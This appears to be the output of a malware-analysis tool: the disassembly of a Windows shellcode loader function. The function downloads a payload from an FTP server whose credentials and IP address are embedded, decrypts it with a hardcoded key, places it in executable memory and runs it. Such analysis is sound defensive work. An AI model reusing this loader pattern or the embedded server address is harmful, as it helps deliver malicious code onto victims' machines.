Function at 0x1400044a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
push rdi
sub rsp, 0x188
mov qword [rsp + 0x120], 0xfffffffffffffffe
lea rdx, str.ftp:__lz165404:lz165404._134.122.155.46:21_bin_64xro.jpg
lea rcx, [rsp + 0x140]
call fcn.140004e60
lea rcx, [rsp + 0x100]
call fcn.140004ef0
lea rcx, [rsp + 0xe0]
call fcn.140004ef0
lea rcx, [rsp + 0xc0]
call fcn.140004ef0
lea rcx, [rsp + 0xa0]
call fcn.140004ef0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xc0]
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x140]
call fcn.1400041b0
lea rax, [rsp + 0x90]
lea rcx, str.SecretKey
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x128], 9
lea rcx, [rsp + 0x40]
call fcn.140004ab0
xor eax, eax
cmp eax, 1
je 0x14000461b
lea rdx, str.Attempting_to_download_file_from_FTP...
lea rcx, [0x1400495b0]
call fcn.14000a710
lea rdx, [0x14000adf0]
mov rcx, rax
call fcn.1400053d0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa0]
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x100]
call fcn.140003cf0
movzx eax, al
test eax, eax
je 0x1400045e9
lea rdx, str.File_downloaded_successfully.
lea rcx, [0x1400495b0]
call fcn.14000a710
lea rdx, [0x14000adf0]
mov rcx, rax
call fcn.1400053d0
jmp 0x14000461b
lea rdx, str.Retrying_in_6_seconds...
lea rcx, [0x140049480]
call fcn.14000a710
lea rdx, [0x14000adf0]
mov rcx, rax
call fcn.1400053d0
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004562
lea rcx, [rsp + 0x40]
call fcn.140004910
mov qword [rsp + 0x58], rax
lea rdx, str.Encrypted_data_size:
lea rcx, [0x1400495b0]
call fcn.14000a710
mov rcx, qword [rsp + 0x58]
mov rdx, rcx
mov rcx, rax
call fcn.1400051f0
lea rdx, [0x140043038]
mov rcx, rax
call fcn.14000a710
lea rdx, [0x14000adf0]
mov rcx, rax
call fcn.1400053d0
mov r8d, 9
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x40]
call fcn.140003c60
lea rcx, [rsp + 0x40]
call fcn.140004910
mov qword [rsp + 0x60], rax
lea rdx, str.Decrypted_data_size:
lea rcx, [0x1400495b0]
call fcn.14000a710
mov rcx, qword [rsp + 0x60]
mov rdx, rcx
mov rcx, rax
call fcn.1400051f0
lea rdx, str._bytes.
mov rcx, rax
call fcn.14000a710
lea rdx, [0x14000adf0]
mov rcx, rax
call fcn.1400053d0
lea rcx, [rsp + 0x40]
call fcn.140004910
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x1400047b2
lea rcx, [rsp + 0x160]
call fcn.140003b90
mov qword [rsp + 0x68], rax
lea rdx, str.Error_allocating_memory:
lea rcx, [0x140049480]
call fcn.14000a710
mov rcx, qword [rsp + 0x68]
mov rdx, rcx
mov rcx, rax
call fcn.14000aa80
lea rdx, [0x14000adf0]
mov rcx, rax
call fcn.1400053d0
lea rcx, [rsp + 0x160]
call fcn.140004cc0
mov dword [rsp + 0x38], 1
lea rcx, [rsp + 0x40]
call fcn.1400049f0
lea rcx, [rsp + 0xa0]
call fcn.140004cc0
lea rcx, [rsp + 0xc0]
call fcn.140004cc0
lea rcx, [rsp + 0xe0]
call fcn.140004cc0
lea rcx, [rsp + 0x100]
call fcn.140004cc0
lea rcx, [rsp + 0x140]
call fcn.140004cc0
mov eax, dword [rsp + 0x38]
jmp 0x140004861
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x40]
call fcn.140004950
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0x40]
call fcn.1400049a0
mov r8, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rcx]
mov rcx, qword [rax]
call fcn.14000aef0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x78], rax
call qword [rsp + 0x78]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rsp + 0x40]
call fcn.1400049f0
lea rcx, [rsp + 0xa0]
call fcn.140004cc0
lea rcx, [rsp + 0xc0]
call fcn.140004cc0
lea rcx, [rsp + 0xe0]
call fcn.140004cc0
lea rcx, [rsp + 0x100]
call fcn.140004cc0
lea rcx, [rsp + 0x140]
call fcn.140004cc0
nop
jmp 0x14000485f
xor eax, eax
add rsp, 0x188
pop rdi
pop rsi
ret